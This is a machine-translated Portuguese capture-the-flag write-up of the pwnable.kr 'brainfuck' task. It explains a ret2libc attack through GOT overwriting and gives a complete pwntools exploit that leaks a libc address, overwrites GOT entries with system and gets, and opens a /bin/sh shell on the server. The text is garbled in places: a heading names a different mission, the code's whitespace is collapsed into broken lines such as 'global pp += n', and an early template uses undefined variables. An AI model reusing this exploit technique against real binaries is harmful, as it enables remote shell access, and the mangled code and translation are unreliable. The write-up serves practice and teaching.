Solução de problemas com pwnable.kr 22 - brainfuck. Ataque Ret2libc

imagem

Neste artigo, resolveremos a 22ª tarefa do site pwnable.kr e descobriremos a categoria de ataques que envolvem reescrever o endereço no GOT para o endereço da função que precisamos da biblioteca.

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Retornar ao ataque à biblioteca


Um ataque de retorno à biblioteca (ataque de retorno à libc) é um dos tipos de ataques de computador relacionados a estouros de buffer quando o endereço de retorno de uma função na pilha é substituído pelo endereço de outra função no programa, e os parâmetros para a função chamada são gravados na próxima parte da pilha. Essa técnica permite que um invasor execute qualquer função existente na biblioteca sem a necessidade de injetar código malicioso no programa.

O Linux possui uma biblioteca libc compartilhada que fornece funções padrão C e POSIX, como system () para executar comandos arbitrários. Existem bibliotecas semelhantes na família de sistemas operacionais Windows. Embora um invasor possa forçar um programa a pular para qualquer endereço, a maioria dos programas usa libc (vinculada a ele), mas possui funções convenientes para iniciar comandos arbitrários. Portanto, as funções da biblioteca padrão são o alvo mais provável de tais explorações, que deram o nome à classe de ataques.

Solução para a missão horcruxes


Começamos a segunda seção. Eu direi imediatamente que é mais difícil que o primeiro e não nos é fornecido o código fonte dos aplicativos. Não se esqueça da discussão aqui . Vamos começar.

Clique no ícone com a assinatura do cérebro foda-se. Eles nos fornecem o endereço e a porta para conexão, o próprio programa, a biblioteca libc e explicam que é um emulador de linguagem de foda cerebral.

imagem

Baixe tudo o que eles nos dão, verifique o binário. Como é um duende de 32 bits, descompilamos o programa no IDA Pro.

imagem

Não há vulnerabilidades na função principal. A alocação de memória e o número de caracteres digitados na variável s são controlados. Antes disso, o ponteiro p é inicializado. Vamos dar uma olhada na função do cérebro.

imagem

Esta função é usada para cada caractere da string que inserimos. Ele contém uma sequência de ações, dependendo do personagem. Um conjunto completo de comandos é semelhante a este:

  • +: adicione um ao valor localizado em p;
  • ,: pega outro caractere da entrada padrão e pega em p;
  • -: subtrai um do valor em p;
  • .: exibe o caractere no endereço p;
  • <: subtrai de p;
  • >: adiciona à p.

imagem

Assim, a solução para nossa tarefa ocorrerá através da manipulação do ponteiro p. Encontre o endereço inicial. Na função principal, o endereço da fita variável é inserido em p, ou seja, 0x804a0a0.

imagem

Ao mesmo tempo, a seção got.plt está localizada em 0x804a000, os endereços das funções usadas são armazenados na biblioteca libc. Sobre GOT e PLT, eu já escrevi aqui .

imagem

Como manipulando o ponteiro p que podemos chegar ao GOT, podemos implementar um ataque como ret2libc. Para fazer isso, precisaremos reescrever o endereço da função usada para o endereço da função system () da libc (até recebemos uma biblioteca).

Assim, o seguinte vetor de ataque emerge:

  1. reescreva os endereços do endereço no endereço da função do sistema;
  2. reescreva o endereço memset para gets;
  3. reescreva o endereço putchar como principal.

O que virá disso: depois de concluir as etapas indicadas acima, quando a função putchar for chamada, a função principal será chamada, que chamará gets em vez de memset e lerá a string que inserimos na pilha. Depois disso, em vez de fgets, um sistema será chamado, o que gerará um argumento da pilha (ou seja, a linha que inserimos).

Vamos implementar isso. Primeiro, crie um modelo que contenha os endereços do ponteiro e das funções:

from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671 

Agora, escreveremos uma função que moverá o ponteiro para o número de etapas que precisamos:

 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) 

Uma função que lê 4 bytes:

 def readVar(): return ".>"*4 + "<"*4 

Uma função que aceita e grava 4 bytes:

 def writeVar(): return ",>"*4 + "<"*4 

Agora escrevemos a carga.É simples - passamos para o endereço do fgets, lemos (mais tarde vou dizer o porquê), reescrevemos ... Vamos para o endereço memset - reescrevemos, vamos para o endereço putchar - reescrevemos. Tudo está como na ideia.

 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' 

Então, por que ler o endereço dos fgets? Como isso é obtido com get.plt, lemos o endereço de fgets na biblioteca libc associada. Como temos apenas uma biblioteca libc (não relacionada), subtraindo o endereço da mesma função em uma biblioteca não relacionada do endereço da função na biblioteca vinculada, determinaremos a base, ou seja, o endereço do qual a biblioteca está vinculada pelo arquivo m (o início do código da biblioteca). Adicionando ao banco de dados o deslocamento de qualquer função em uma biblioteca não relacionada, chegaremos ao endereço dessa função em uma já conectada. Ou seja, chamaremos uma função do binário que nem foi definida ...

Portanto, essa carga nos fornecerá o endereço da função na biblioteca vinculada. Vamos encontrar o endereço dela em desvinculado.

 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] 

E agora, dadas as respostas do servidor, encontraremos o banco de dados.

 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) 

Agora obtemos os endereços de outras funções levando em consideração a base.

 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] 

E percebemos nossa ideia.

 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 

Código completo
 from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 


imagem

Obtemos a flag desejada e iniciamos a segunda parte das tarefas em pwnable.kr.

imagem

Você pode se juntar a nós no Telegram . Da próxima vez, trataremos do estouro de heap.

Source: https://habr.com/ru/post/pt466109/


All Articles